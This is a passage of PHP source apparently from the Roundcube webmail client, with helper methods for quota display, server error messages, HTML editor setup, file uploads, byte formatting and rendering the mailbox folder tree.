        $rcmail->output->add_gui_object('quotadisplay', $attrib['id']);
        $rcmail->output->add_script('rcmail.set_quota('.rcube_output::json_serialize($quota).');', 'docready');

        return html::span($attrib, '&nbsp;');
    }

    /**
     * Return (parsed) quota information
     *
     * @param array $attrib Named parameters
     * @param array $folder Current folder
     *
     * @return array Quota information
     */
    public static function quota_content($attrib = null, $folder = null)
    {
        $rcmail = rcmail::get_instance();
        $quota  = $rcmail->storage->get_quota($folder);
        $quota  = $rcmail->plugins->exec_hook('quota', $quota);

        $quota_result           = (array) $quota;
        $quota_result['type']   = $_SESSION['quota_display'] ?? '';
        $quota_result['folder'] = $folder !== null && $folder !== '' ? $folder : 'INBOX';

        if (!empty($quota['total']) && $quota['total'] > 0) {
            if (!isset($quota['percent'])) {
                $quota_result['percent'] = min(100, round(($quota['used']/max(1,$quota['total']))*100));
            }

            $title = $rcmail->gettext('quota') . ': ' . sprintf('%s / %s (%.0f%%)',
                self::show_bytes($quota['used'] * 1024),
                self::show_bytes($quota['total'] * 1024),
                $quota_result['percent']
            );

            $quota_result['title'] = $title;

            if (!empty($attrib['width'])) {
                $quota_result['width'] = $attrib['width'];
            }
            if (!empty($attrib['height'])) {
                $quota_result['height'] = $attrib['height'];
            }

            // build a table of quota types/roots info
            if (($root_cnt = count($quota_result['all'])) > 1 || count($quota_result['all'][key($quota_result['all'])]) > 1) {
                $table = new html_table(['cols' => 3, 'class' => 'quota-info']);

                $table->add_header(null, rcube::Q($rcmail->gettext('quotatype')));
                $table->add_header(null, rcube::Q($rcmail->gettext('quotatotal')));
                $table->add_header(null, rcube::Q($rcmail->gettext('quotaused')));

                foreach ($quota_result['all'] as $root => $data) {
                    if ($root_cnt > 1 && $root) {
                        $table->add(['colspan' => 3, 'class' => 'root'], rcube::Q($root));
                    }

                    if ($storage = ($data['storage'] ?? null)) {
                        $percent = min(100, round(($storage['used'] / max(1, $storage['total'])) * 100));

                        $table->add('name', rcube::Q($rcmail->gettext('quotastorage')));
                        $table->add(null, self::show_bytes($storage['total'] * 1024));
                        $table->add(null, sprintf('%s (%.0f%%)', self::show_bytes($storage['used'] * 1024), $percent));
                    }
                    if ($message = ($data['message'] ?? null)) {
                        $percent = min(100, round(($message['used'] / max(1, $message['total'])) * 100));

                        $table->add('name', rcube::Q($rcmail->gettext('quotamessage')));
                        $table->add(null, intval($message['total']));
                        $table->add(null, sprintf('%d (%.0f%%)', $message['used'], $percent));
                    }
                }

                $quota_result['table'] = $table->show();
            }
        }
        else {
            $unlimited               = $rcmail->config->get('quota_zero_as_unlimited');
            $quota_result['title']   = $rcmail->gettext($unlimited ? 'unlimited' : 'unknown');
            $quota_result['percent'] = 0;
        }

        // cleanup
        unset($quota_result['abort']);
        if (empty($quota_result['table'])) {
            unset($quota_result['all']);
        }

        return $quota_result;
    }

    /**
     * Outputs error message according to server error/response codes
     *
     * @param string $fallback      Fallback message label
     * @param array  $fallback_args Fallback message label arguments
     * @param string $suffix        Message label suffix
     * @param array  $params        Additional parameters (type, prefix)
     */
    public static function display_server_error($fallback = null, $fallback_args = null, $suffix = '', $params = [])
    {
        $rcmail   = rcmail::get_instance();
        $storage  = $rcmail->get_storage();
        $err_code = $storage->get_error_code();
        $res_code = $storage->get_response_code();
        $args     = [];

        if ($res_code == rcube_storage::NOPERM) {
            $error = 'errornoperm';
        }
        else if ($res_code == rcube_storage::READONLY) {
            $error = 'errorreadonly';
        }
        else if ($res_code == rcube_storage::OVERQUOTA) {
            $error = 'erroroverquota';
        }
        else if ($err_code && ($err_str = $storage->get_error_str())) {
            // try to detect access rights problem and display appropriate message
            if (stripos($err_str, 'Permission denied') !== false) {
                $error = 'errornoperm';
            }
            // try to detect full mailbox problem and display appropriate message
            // there can be e.g. "Quota exceeded" / "quotum would exceed" / "Over quota"
            else if (stripos($err_str, 'quot') !== false && preg_match('/exceed|over/i', $err_str)) {
                $error = 'erroroverquota';
            }
            else {
                $error = 'servererrormsg';
                $args  = ['msg' => rcube::Q($err_str)];
            }
        }
        else if ($err_code < 0) {
            $error = 'storageerror';
        }
        else if ($fallback) {
            $error = $fallback;
            $args  = $fallback_args;
            $params['prefix'] = false;
        }

        if (!empty($error)) {
            if ($suffix && $rcmail->text_exists($error . $suffix)) {
                $error .= $suffix;
            }

            $msg = $rcmail->gettext(['name' => $error, 'vars' => $args]);

            if (!empty($params['prefix']) && $fallback) {
                $msg = $rcmail->gettext(['name' => $fallback, 'vars' => $fallback_args]) . ' ' . $msg;
            }

            $rcmail->output->show_message($msg, !empty($params['type']) ? $params['type'] : 'error');
        }
    }

    /**
     * Displays an error message on storage fatal errors
     */
    public static function storage_fatal_error()
    {
        $rcmail   = rcmail::get_instance();
        $err_code = $rcmail->storage->get_error_code();

        switch ($err_code) {
        // Not all are really fatal, but these should catch
        // connection/authentication errors the best we can
        case rcube_imap_generic::ERROR_NO:
        case rcube_imap_generic::ERROR_BAD:
        case rcube_imap_generic::ERROR_BYE:
            self::display_server_error();
        }
    }

    /**
     * Output HTML editor scripts
     *
     * @param string  $mode     Editor mode
     * @param ?string $editorId Editor textarea element ID
     */
    public static function html_editor($mode = '', $editorId = null)
    {
        $rcmail           = rcmail::get_instance();
        $spellcheck       = intval($rcmail->config->get('enable_spellcheck'));
        $spelldict        = intval($rcmail->config->get('spellcheck_dictionary'));
        $disabled_plugins = [];
        $disabled_buttons = [];
        $extra_plugins    = [];
        $extra_buttons    = [];

        if (!$spellcheck) {
            $disabled_plugins[] = 'spellchecker';
        }

        $hook = $rcmail->plugins->exec_hook('html_editor', [
                'mode'             => $mode,
                'disabled_plugins' => $disabled_plugins,
                'disabled_buttons' => $disabled_buttons,
                'extra_plugins'    => $extra_plugins,
                'extra_buttons'    => $extra_buttons,
        ]);

        if (!empty($hook['abort'])) {
            return;
        }

        $lang_codes = [$_SESSION['language']];
        $assets_dir = $rcmail->config->get('assets_dir') ?: INSTALL_PATH;
        $skin_path  = $rcmail->output->get_skin_path();

        if ($pos = strpos($_SESSION['language'], '_')) {
            $lang_codes[] = substr($_SESSION['language'], 0, $pos);
        }

        foreach ($lang_codes as $code) {
            if (file_exists("$assets_dir/program/js/tinymce/langs/$code.js")) {
                $lang = $code;
                break;
            }
        }

        if (empty($lang)) {
            $lang = 'en';
        }

        $config = [
            'mode'       => $mode,
            'lang'       => $lang,
            'skin_path'  => $skin_path,
            'spellcheck' => $spellcheck, // deprecated
            'spelldict'  => $spelldict,
            'content_css'      => 'program/resources/tinymce/content.css',
            'disabled_plugins' => $hook['disabled_plugins'],
            'disabled_buttons' => $hook['disabled_buttons'],
            'extra_plugins'    => $hook['extra_plugins'],
            'extra_buttons'    => $hook['extra_buttons'],
        ];

        if ($path = $rcmail->config->get('editor_css_location')) {
            if ($path = $rcmail->find_asset($skin_path . $path)) {
                $config['content_css'] = $path;
            }
        }

        $font_family = $rcmail->output->get_env('default_font');
        $font_size   = $rcmail->output->get_env('default_font_size');
        $style       = [];

        if ($font_family) {
            $style[] = "font-family: $font_family;";
        }
        if ($font_size) {
            $style[] = "font-size: $font_size;";
        }
        if (!empty($style)) {
            $config['content_style'] = "body {" . implode(' ', $style) . "}";
        }

        $rcmail->output->set_env('editor_config', $config);
        $rcmail->output->add_label('selectimage', 'addimage', 'selectmedia', 'addmedia', 'close');

        if ($path = $rcmail->config->get('media_browser_css_location', 'program/resources/tinymce/browser.css')) {
            if ($path != 'none' && ($path = $rcmail->find_asset($path))) {
                $rcmail->output->include_css($path);
            }
        }

        if (!empty($editorId)) {
            $script = rcmail_output::JS_OBJECT_NAME . ".enable_command('toggle-editor', true);"
                . rcmail_output::JS_OBJECT_NAME . ".editor_init(null, '$editorId');";

            $rcmail->output->add_script($script, 'docready');
        }

        $rcmail->output->include_script('tinymce/tinymce.min.js');
        $rcmail->output->include_script('editor.js');
    }

    /**
     * File upload progress handler.
     *
     * @deprecated We're using HTML5 upload progress
     */
    public static function upload_progress()
    {
        // NOOP
        rcmail::get_instance()->output->send();
    }

    /**
     * Initializes file uploading interface.
     *
     * @param int $max_size Optional maximum file size in bytes
     *
     * @return string Human-readable file size limit
     */
    public static function upload_init($max_size = null)
    {
        $rcmail = rcmail::get_instance();

        // find max filesize value
        $max_filesize = rcube_utils::max_upload_size();
        if ($max_size && $max_size < $max_filesize) {
            $max_filesize = $max_size;
        }

        $max_filesize_txt = self::show_bytes($max_filesize);
        $rcmail->output->set_env('max_filesize', $max_filesize);
        $rcmail->output->set_env('filesizeerror', $rcmail->gettext([
            'name' => 'filesizeerror', 'vars' => ['size' => $max_filesize_txt]]));

        if ($max_filecount = ini_get('max_file_uploads')) {
            $rcmail->output->set_env('max_filecount', $max_filecount);
            $rcmail->output->set_env('filecounterror', $rcmail->gettext([
                'name' => 'filecounterror', 'vars' => ['count' => $max_filecount]]));
        }

        $rcmail->output->add_label('uploadprogress', 'GB', 'MB', 'KB', 'B');

        return $max_filesize_txt;
    }

    /**
     * Upload form object
     *
     * @param array  $attrib     Object attributes
     * @param string $name       Form object name
     * @param string $action     Form action name
     * @param array  $input_attr File input attributes
     * @param int    $max_size   Maximum upload size
     *
     * @return string HTML output
     */
    public static function upload_form($attrib, $name, $action, $input_attr = [], $max_size = null)
    {
        $rcmail = rcmail::get_instance();

        // Get filesize, enable upload progress bar
        $max_filesize = self::upload_init($max_size);

        $hint = html::div('hint', $rcmail->gettext(['name' => 'maxuploadsize', 'vars' => ['size' => $max_filesize]]));

        if (!empty($attrib['mode']) && $attrib['mode'] == 'hint') {
            return $hint;
        }

        // set defaults
        $attrib += ['id' => 'rcmUploadbox', 'buttons' => 'yes'];

        $event   = rcmail_output::JS_OBJECT_NAME . ".command('$action', this.form)";
        $form_id = $attrib['id'] . 'Frm';

        // Default attributes of file input and form
        $input_attr += [
            'id'   => $attrib['id'] . 'Input',
            'type' => 'file',
            'name' => '_attachments[]',
            'class' => 'form-control',
        ];

        $form_attr = [
            'id'      => $form_id,
            'name'    => $name,
            'method'  => 'post',
            'enctype' => 'multipart/form-data'
        ];

        if (!empty($attrib['mode']) && $attrib['mode'] == 'smart') {
            unset($attrib['buttons']);
            $form_attr['class'] = 'smart-upload';
            $input_attr = array_merge($input_attr, [
                // #5854: Chrome does not execute onchange when selecting the same file.
                //        To fix this we reset the input using null value.
                'onchange' => "$event; this.value=null",
                'class'    => 'smart-upload',
                'tabindex' => '-1',
            ]);
        }

        $input   = new html_inputfield($input_attr);
        $content = ($attrib['prefix'] ?? '') . $input->show();

        if (empty($attrib['mode']) || $attrib['mode'] != 'smart') {
            $content = html::div(null, $content . $hint);
        }

        if (self::get_bool_attr($attrib, 'buttons')) {
            $button   = new html_inputfield(['type' => 'button']);
            $content .= html::div('buttons',
                $button->show($rcmail->gettext('close'), ['class' => 'button', 'onclick' => "$('#{$attrib['id']}').hide()"])
                . ' ' .
                $button->show($rcmail->gettext('upload'), ['class' => 'button mainaction', 'onclick' => $event])
            );
        }

        $rcmail->output->add_gui_object($name, $form_id);

        return html::div($attrib, $rcmail->output->form_tag($form_attr, $content));
    }

    /**
     * Common file upload error handler
     *
     * @param int    $php_error  PHP error from $_FILES
     * @param array  $attachment Attachment data from attachment_upload hook
     * @param string $add_error  Additional error label (highest prio)
     */
    public static function upload_error($php_error, $attachment = null, $add_error = null)
    {
        $rcmail = rcmail::get_instance();

        if ($add_error) {
            $msg = $rcmail->gettext($add_error);
        }
        else if ($attachment && !empty($attachment['error'])) {
            $msg = $attachment['error'];
        }
        else if ($php_error == UPLOAD_ERR_INI_SIZE || $php_error == UPLOAD_ERR_FORM_SIZE) {
            $post_size = self::show_bytes(rcube_utils::max_upload_size());
            $msg = $rcmail->gettext(['name' => 'filesizeerror', 'vars' => ['size' => $post_size]]);
        }
        else {
            $msg = $rcmail->gettext('fileuploaderror');
        }

        $rcmail->output->command('display_message', $msg, 'error');
    }

    /**
     * Common POST file upload error handler
     *
     * @return bool True if it was a POST request, False otherwise
     */
    public static function upload_failure()
    {
        if (!isset($_SERVER['REQUEST_METHOD']) || $_SERVER['REQUEST_METHOD'] != 'POST') {
            return false;
        }

        $rcmail = rcmail::get_instance();

        // if filesize exceeds post_max_size then $_FILES array is empty,
        // show filesizeerror instead of fileuploaderror
        if ($maxsize = ini_get('post_max_size')) {
            $msg = $rcmail->gettext([
                    'name' => 'filesizeerror',
                    'vars' => ['size' => self::show_bytes(parse_bytes($maxsize))]
            ]);
        }
        else {
            $msg = $rcmail->gettext('fileuploaderror');
        }

        $rcmail->output->command('display_message', $msg, 'error');

        return true;
    }

    /**
     * Outputs uploaded file content (with image thumbnails support
     *
     * @param array $file Uploaded file data
     */
    public static function display_uploaded_file($file)
    {
        if (empty($file)) {
            return;
        }

        $rcmail = rcmail::get_instance();

        $file = $rcmail->plugins->exec_hook('attachment_display', $file);

        if (!empty($file['status'])) {
            if (empty($file['size'])) {
                $file['size'] = !empty($file['data']) ? strlen($file['data']) : @filesize($file['path']);
            }

            // generate image thumbnail for file browser in HTML editor
            if (!empty($_GET['_thumbnail'])) {
                $thumbnail_size = 80;
                $mimetype       = $file['mimetype'];
                $file_ident     = $file['id'] . ':' . $file['mimetype'] . ':' . $file['size'];
                $thumb_name     = 'thumb' . md5($file_ident . ':' . $rcmail->user->ID . ':' . $thumbnail_size);
                $cache_file     = rcube_utils::temp_filename($thumb_name, false, false);

                // render thumbnail image if not done yet
                if (!is_file($cache_file)) {
                    if (!$file['path']) {
                        $orig_name = $filename = $cache_file . '.tmp';
                        file_put_contents($orig_name, $file['data']);
                    }
                    else {
                        $filename = $file['path'];
                    }

                    $image = new rcube_image($filename);
                    if ($imgtype = $image->resize($thumbnail_size, $cache_file, true)) {
                        $mimetype = 'image/' . $imgtype;

                        if (!empty($orig_name)) {
                            unlink($orig_name);
                        }
                    }
                }

                if (is_file($cache_file)) {
                    // cache for 1h
                    $rcmail->output->future_expire_header(3600);
                    header('Content-Type: ' . $mimetype);
                    header('Content-Length: ' . filesize($cache_file));

                    readfile($cache_file);
                    exit;
                }
            }

            header('Content-Type: ' . $file['mimetype']);
            header('Content-Length: ' . $file['size']);

            if (isset($file['data']) && is_string($file['data'])) {
                echo $file['data'];
            }
            else if (!empty($file['path'])) {
                readfile($file['path']);
            }
        }
    }

    /**
     * Initializes client-side autocompletion.
     */
    public static function autocomplete_init()
    {
        static $init;

        if ($init) {
            return;
        }

        $init   = 1;
        $rcmail = rcmail::get_instance();

        if (($threads = (int) $rcmail->config->get('autocomplete_threads')) > 0) {
            $book_types = (array) $rcmail->config->get('autocomplete_addressbooks', 'sql');
            if (count($book_types) > 1) {
                $rcmail->output->set_env('autocomplete_threads', $threads);
                $rcmail->output->set_env('autocomplete_sources', $book_types);
            }
        }

        $rcmail->output->set_env('autocomplete_max', (int) $rcmail->config->get('autocomplete_max', 15));
        $rcmail->output->set_env('autocomplete_min_length', $rcmail->config->get('autocomplete_min_length'));
        $rcmail->output->add_label('autocompletechars', 'autocompletemore');
    }

    /**
     * Returns supported font-family specifications
     *
     * @param string $font Font name
     *
     * @return string|array Font-family specification array or string (if $font is used)
     */
    public static function font_defs($font = null)
    {
        $fonts = [
            'Andale Mono'   => '"Andale Mono",Times,monospace',
            'Arial'         => 'Arial,Helvetica,sans-serif',
            'Arial Black'   => '"Arial Black","Avant Garde",sans-serif',
            'Book Antiqua'  => '"Book Antiqua",Palatino,serif',
            'Courier New'   => '"Courier New",Courier,monospace',
            'Georgia'       => 'Georgia,Palatino,serif',
            'Helvetica'     => 'Helvetica,Arial,sans-serif',
            'Impact'        => 'Impact,Chicago,sans-serif',
            'Tahoma'        => 'Tahoma,Arial,Helvetica,sans-serif',
            'Terminal'      => 'Terminal,Monaco,monospace',
            'Times New Roman' => '"Times New Roman",Times,serif',
            'Trebuchet MS'  => '"Trebuchet MS",Geneva,sans-serif',
            'Verdana'       => 'Verdana,Geneva,sans-serif',
        ];

        if ($font) {
            return !empty($fonts[$font]) ? $fonts[$font] : null;
        }

        return $fonts;
    }

    /**
     * Create a human readable string for a number of bytes
     *
     * @param int    $bytes Number of bytes
     * @param string &$unit Size unit
     *
     * @return string Byte string
     */
    public static function show_bytes($bytes, &$unit = null)
    {
        $rcmail = rcmail::get_instance();

        // Plugins may want to display different units
        $plugin = $rcmail->plugins->exec_hook('show_bytes', ['bytes' => $bytes, 'unit' => null]);

        $unit = $plugin['unit'];

        if (isset($plugin['result'])) {
            return $plugin['result'];
        }

        if ($bytes >= 1073741824) {
            $unit = 'GB';
            $gb   = $bytes/1073741824;
            $str  = sprintf($gb >= 10 ? "%d " : "%.1f ", $gb) . $rcmail->gettext($unit);
        }
        else if ($bytes >= 1048576) {
            $unit = 'MB';
            $mb   = $bytes/1048576;
            $str  = sprintf($mb >= 10 ? "%d " : "%.1f ", $mb) . $rcmail->gettext($unit);
        }
        else if ($bytes >= 1024) {
            $unit = 'KB';
            $str  = sprintf("%d ",  round($bytes/1024)) . $rcmail->gettext($unit);
        }
        else {
            $unit = 'B';
            $str  = sprintf('%d ', $bytes) . $rcmail->gettext($unit);
        }

        return $str;
    }

    /**
     * Returns real size (calculated) of the message part
     *
     * @param rcube_message_part $part Message part
     *
     * @return string Part size (and unit)
     */
    public static function message_part_size($part)
    {
        if (isset($part->d_parameters['size'])) {
            $size = self::show_bytes((int) $part->d_parameters['size']);
        }
        else {
            $size = $part->size;

            if ($size === 0) {
                $part->exact_size = true;
            }

            if (isset($part->encoding) && $part->encoding == 'base64') {
                $size = $size / 1.33;
            }

            $size = self::show_bytes($size);
        }

        if (empty($part->exact_size)) {
            $size = '~' . $size;
        }

        return $size;
    }

    /**
     * Returns message UID(s) and IMAP folder(s) from GET/POST data
     *
     * @param string $uids           UID value to decode
     * @param string $mbox           Default mailbox value (if not encoded in UIDs)
     * @param bool   $is_multifolder Will be set to True if multi-folder request
     * @param int    $mode           Request mode. Default: rcube_utils::INPUT_GPC.
     *
     * @return array  List of message UIDs per folder
     */
    public static function get_uids($uids = null, $mbox = null, &$is_multifolder = false, $mode = null)
    {
        // message UID (or comma-separated list of IDs) is provided in
        // the form of <ID>-<MBOX>[,<ID>-<MBOX>]*

        $_uid  = $uids ?: rcube_utils::get_input_value('_uid', $mode ?: rcube_utils::INPUT_GPC, true);
        $_mbox = $mbox ?: rcube_utils::get_input_string('_mbox', $mode ?: rcube_utils::INPUT_GPC, true);

        // already a hash array
        if (is_array($_uid) && !isset($_uid[0])) {
            return $_uid;
        }

        $is_multifolder = false;
        $result = [];

        // special case: *
        if ($_uid == '*' && !empty($_SESSION['search'][1]) && !empty($_SESSION['search'][1]->multi)) {
            $is_multifolder = true;
            // extract the full list of UIDs per folder from the search set
            foreach ($_SESSION['search'][1]->sets as $subset) {
                $mbox = $subset->get_parameters('MAILBOX');
                $result[$mbox] = $subset->get();
            }
        }
        else {
            if (is_string($_uid)) {
                $_uid = explode(',', $_uid);
            }

            // create a per-folder UIDs array
            foreach ((array) $_uid as $uid) {
                $tokens = explode('-', $uid, 2);
                $uid    = $tokens[0];

                if (!isset($tokens[1]) || !strlen($tokens[1])) {
                    $mbox = $_mbox;
                }
                else {
                    $mbox = $tokens[1];
                    $is_multifolder = true;
                }

                if ($uid == '*') {
                    $result[$mbox] = $uid;
                }
                else if (preg_match('/^[0-9:.]+$/', $uid)) {
                    $result[$mbox][] = $uid;
                }
            }
        }

        return $result;
    }

    /**
     * Get resource file content (with assets_dir support)
     *
     * @param string $name File name
     *
     * @return string File content
     */
    public static function get_resource_content($name)
    {
        if (strpos($name, '/') !== 0) {
            $name = "program/resources/$name";
        }

        $assets_dir = rcmail::get_instance()->config->get('assets_dir');

        if ($assets_dir) {
            $path = slashify($assets_dir) . $name;
            if (@file_exists($path)) {
                $name = $path;
            }
        }
        else {
            $name = INSTALL_PATH . $name;
        }

        return file_get_contents($name, false);
    }

    /**
     * Prepare a common edit form.
     *
     * @param array  $attrib Form attributes
     * @param string $action Action name
     * @param string $id     An extra index for the form key
     * @param array  $hidden Additional hidden fields
     *
     * @return array Start and end tags, Empty if the farm was initialized before
     */
    public static function get_form_tags($attrib, $action, $id = null, $hidden = [])
    {
        $rcmail = rcmail::get_instance();

        $form_start = $form_end = '';

        if (empty(self::$edit_form)) {
            $request_key = $action . (isset($id) ? '.'.$id : '');
            $form_start = $rcmail->output->request_form([
                    'name'    => 'form',
                    'method'  => 'post',
                    'task'    => $rcmail->task,
                    'action'  => $action,
                    'request' => $request_key,
                    'noclose' => true
                ] + $attrib
            );

            if (!empty($hidden) && is_array($hidden)) {
                $hiddenfields = new html_hiddenfield($hidden);
                $form_start .= $hiddenfields->show();
            }

            $form_end  = empty($attrib['form']) ? '</form>' : '';
            self::$edit_form = !empty($attrib['form']) ? $attrib['form'] : 'form';

            $rcmail->output->add_gui_object('editform', self::$edit_form);
        }

        return [$form_start, $form_end];
    }

    /**
     * Return folders list in HTML
     *
     * @param array $attrib Named parameters
     *
     * @return string HTML code for the gui object
     */
    public static function folder_list($attrib)
    {
        static $a_mailboxes;

        $attrib += ['maxlength' => 100, 'realnames' => false, 'unreadwrap' => ' (%s)'];

        $type = !empty($attrib['type']) ? $attrib['type'] : 'ul';
        unset($attrib['type']);

        if ($type == 'ul' && empty($attrib['id'])) {
            $attrib['id'] = 'rcmboxlist';
        }

        if (empty($attrib['folder_name'])) {
            $attrib['folder_name'] = '*';
        }

        // get current folder
        $rcmail    = rcmail::get_instance();
        $storage   = $rcmail->get_storage();
        $mbox_name = $storage->get_folder();
        $delimiter = $storage->get_hierarchy_delimiter();

        // build the folders tree
        if (empty($a_mailboxes)) {
            // get mailbox list
            $a_mailboxes = [];
            $a_folders   = $storage->list_folders_subscribed(
                '',
                $attrib['folder_name'],
                $attrib['folder_filter'] ?? null
            );

            foreach ($a_folders as $folder) {
                self::build_folder_tree($a_mailboxes, $folder, $delimiter);
            }
        }

        // allow plugins to alter the folder tree or to localize folder names
        $hook = $rcmail->plugins->exec_hook('render_mailboxlist', [
                'list'      => $a_mailboxes,
                'delimiter' => $delimiter,
                'type'      => $type,
                'attribs'   => $attrib,
        ]);

        $a_mailboxes = $hook['list'];
        $attrib      = $hook['attribs'];

        if ($type == 'select') {
            $attrib['is_escaped'] = true;
            $select = new html_select($attrib);

            // add no-selection option
            if (!empty($attrib['noselection'])) {
                $select->add(html::quote($rcmail->gettext($attrib['noselection'])), '');
            }

            $maxlength = $attrib['maxlength'] ?? null;
            $realnames = $attrib['realnames'] ?? null;
            $default   = $attrib['default'] ?? null;

            self::render_folder_tree_select($a_mailboxes, $mbox_name, $maxlength, $select, $realnames);
            $out = $select->show($default);
        }
        else {
            $out = '';
            $js_mailboxlist = [];
            $tree = self::render_folder_tree_html($a_mailboxes, $mbox_name, $js_mailboxlist, $attrib);

            if ($type != 'js') {
                $out = html::tag('ul', $attrib, $tree, html::$common_attrib);

                $rcmail->output->include_script('treelist.js');
                $rcmail->output->add_gui_object('mailboxlist', $attrib['id']);
                $rcmail->output->set_env('unreadwrap', $attrib['unreadwrap'] ?? false);
                $rcmail->output->set_env('collapsed_folders', (string) $rcmail->config->get('collapsed_folders'));
            }

            $rcmail->output->set_env('mailboxes', $js_mailboxlist);

            // we can't use object keys in javascript because they are unordered
            // we need sorted folders list for folder-selector widget
            $rcmail->output->set_env('mailboxes_list', array_keys($js_mailboxlist));
        }

        // add some labels to client
        $rcmail->output->add_label('purgefolderconfirm', 'deletemessagesconfirm');

        return $out;
    }

    /**
     * Return folders list as html_select object
     *
     * @param array $p Named parameters
     *
     * @return html_select HTML drop-down object
     */
    public static function folder_selector($p = [])
    {
        $rcmail    = rcmail::get_instance();
        $storage   = $rcmail->get_storage();
        $realnames = $rcmail->config->get('show_real_foldernames');
        $p += ['maxlength' => 100, 'realnames' => $realnames, 'is_escaped' => true];
        $a_mailboxes = [];

        if (empty($p['folder_name'])) {
            $p['folder_name'] = '*';
        }

        $f_filter = $p['folder_filter'] ?? null;
        $f_rights = $p['folder_rights'] ?? null;

        if (!empty($p['unsubscribed'])) {
            $list = $storage->list_folders('', $p['folder_name'], $f_filter, $f_rights);
        }
        else {
            $list = $storage->list_folders_subscribed('', $p['folder_name'], $f_filter, $f_rights);
        }

        $delimiter = $storage->get_hierarchy_delimiter();

        if (!empty($p['exceptions'])) {
            $list = array_diff($list, (array) $p['exceptions']);
        }

        if (!empty($p['additional'])) {
            foreach ($p['additional'] as $add_folder) {
                $add_items = explode($delimiter, $add_folder);
                $folder    = '';
                while (count($add_items)) {
                    $folder .= array_shift($add_items);

                    // @TODO: sorting
                    if (!in_array($folder, $list)) {
                        $list[] = $folder;
                    }

                    $folder .= $delimiter;
                }
            }
        }

        foreach ($list as $folder) {
            self::build_folder_tree($a_mailboxes, $folder, $delimiter);
        }

        // allow plugins to alter the folder tree or to localize folder names
        $hook = $rcmail->plugins->exec_hook('render_folder_selector', [
                'list'      => $a_mailboxes,
                'delimiter' => $delimiter,
                'attribs'   => $p,
        ]);

        $a_mailboxes = $hook['list'];
        $p           = $hook['attribs'];

        $select = new html_select($p);

        if (!empty($p['noselection'])) {
            $select->add(html::quote($p['noselection']), '');
        }

        self::render_folder_tree_select($a_mailboxes, $mbox, $p['maxlength'], $select, $p['realnames'], 0, $p);

        return $select;
    }

    /**
     * Create a hierarchical array of the mailbox list
     */
    protected static function build_folder_tree(&$arrFolders, $folder, $delm = '/', $path = '')
    {
        $rcmail  = rcmail::get_instance();
        $storage = $rcmail->get_storage();

        // Handle namespace prefix
        $prefix = '';

        if (!$path) {
            $n_folder = $folder;
            $folder   = $storage->mod_folder($folder);

            if ($n_folder != $folder) {
                $prefix = substr($n_folder, 0, -strlen($folder));
            }
        }

        $pos = strpos($folder, $delm);

        if ($pos !== false) {
            $subFolders    = substr($folder, $pos+1);
            $currentFolder = substr($folder, 0, $pos);

            // sometimes folder has a delimiter as the last character
            if (!strlen($subFolders)) {
                $virtual = false;
            }
            else if (!isset($arrFolders[$currentFolder])) {
                $virtual = true;
            }
            else {
                $virtual = $arrFolders[$currentFolder]['virtual'];
            }
        }
        else {
            $subFolders    = false;
            $currentFolder = $folder;
            $virtual       = false;
        }

        $path .= $prefix . $currentFolder;

        if (!isset($arrFolders[$currentFolder])) {
            $arrFolders[$currentFolder] = [
                'id'      => $path,
                'name'    => rcube_charset::convert($currentFolder, 'UTF7-IMAP'),
                'virtual' => $virtual,
                'folders' => []
            ];
        }
        else {
            $arrFolders[$currentFolder]['virtual'] = $virtual;
        }

        if (strlen($subFolders)) {
            self::build_folder_tree($arrFolders[$currentFolder]['folders'], $subFolders, $delm, $path.$delm);
        }
    }

    /**
     * Return html for a structured list &lt;ul&gt; for the mailbox tree
     */
    protected static function render_folder_tree_html(&$arrFolders, &$mbox_name, &$jslist, $attrib, $nestLevel = 0)
    {
        $rcmail  = rcmail::get_instance();
        $storage = $rcmail->get_storage();

        $maxlength = intval($attrib['maxlength']);
        $realnames = (bool) $attrib['realnames'];
        $msgcounts = $storage->get_cache('messagecount');
        $collapsed = (string) $rcmail->config->get('collapsed_folders');
        $realnames = (bool) $rcmail->config->get('show_real_foldernames');

        $out = '';
        foreach ($arrFolders as $folder) {
            $title        = null;
            $folder_class = self::folder_classname($folder['id'], $folder['class'] ?? null);
            $is_collapsed = strpos($collapsed, '&'.rawurlencode($folder['id']).'&') !== false;
            $unread       = 0;
            $realname     = $folder['realname'] ?? $realnames;

            if ($msgcounts && !empty($msgcounts[$folder['id']]['UNSEEN'])) {
                $unread = intval($msgcounts[$folder['id']]['UNSEEN']);
            }

            if ($folder_class && !$realname && $rcmail->text_exists($folder_class)) {
                $foldername = $rcmail->gettext($folder_class);
            }
            else {
                $foldername = $folder['name'];

                // shorten the folder name to a given length
                if ($maxlength && $maxlength > 1) {
                    $fname = abbreviate_string($foldername, $maxlength);
                    if ($fname != $foldername) {
                        $title = $foldername;
                    }
                    $foldername = $fname;
                }
            }

            // make folder name safe for ids and class names
            $folder_id = rcube_utils::html_identifier($folder['id'], true);
            $classes   = ['mailbox'];

            // set special class for Sent, Drafts, Trash and Junk
            if ($folder_class) {
                $classes[] = $folder_class;
            }

            if ($folder['id'] == $mbox_name) {
                $classes[] = 'selected';
            }

            if ($folder['virtual']) {
                $classes[] = 'virtual';
            }
            else if ($unread) {
                $classes[] = 'unread';
            }

            $js_name     = rcube::JQ($folder['id']);
            $html_name   = rcube::Q($foldername) . ($unread ? html::span('unreadcount skip-content', sprintf($attrib['unreadwrap'], $unread)) : '');
            $link_attrib = $folder['virtual'] ? [] : [
                'href'    => $rcmail->url(['_mbox' => $folder['id']]),
                'onclick' => sprintf("return %s.command('list','%s',this,event)", rcmail_output::JS_OBJECT_NAME, $js_name),
                'rel'     => $folder['id'],
                'title'   => $title,
            ];

            $out .= html::tag('li', [
                    'id'      => "rcmli" . $folder_id,
                    'class'   => implode(' ', $classes),
                    'noclose' => true
                ],
                html::a($link_attrib, $html_name)
            );

            if (!empty($folder['folders'])) {
                $out .= html::div('treetoggle ' . ($is_collapsed ? 'collapsed' : 'expanded'), '&nbsp;');
            }

            $jslist[$folder['id']] = [
                'id'      => $folder['id'],
                'name'    => $foldername,
                'virtual' => $folder['virtual'],
            ];

            if (!empty($folder_class)) {
                $jslist[$folder['id']]['class'] = $folder_class;
            }

            if (!empty($folder['folders'])) {
                $out .= html::tag('ul', ['style' => $is_collapsed ? "display:none;" : null],
                    self::render_folder_tree_html($folder['folders'], $mbox_name, $jslist, $attrib, $nestLevel+1));
            }

            $out .= "</li>\n";
        }

        return $out;
    }

    /**
     * Return html for a flat list <select> for the mailbox tree
     */
    protected static function render_folder_tree_select(&$arrFolders, &$mbox_name, $maxlength, &$select, $realnames = false, $nestLevel = 0, $opts = [])
    {
        $out     = '';
        $rcmail  = rcmail::get_instance();
        $storage = $rcmail->get_storage();

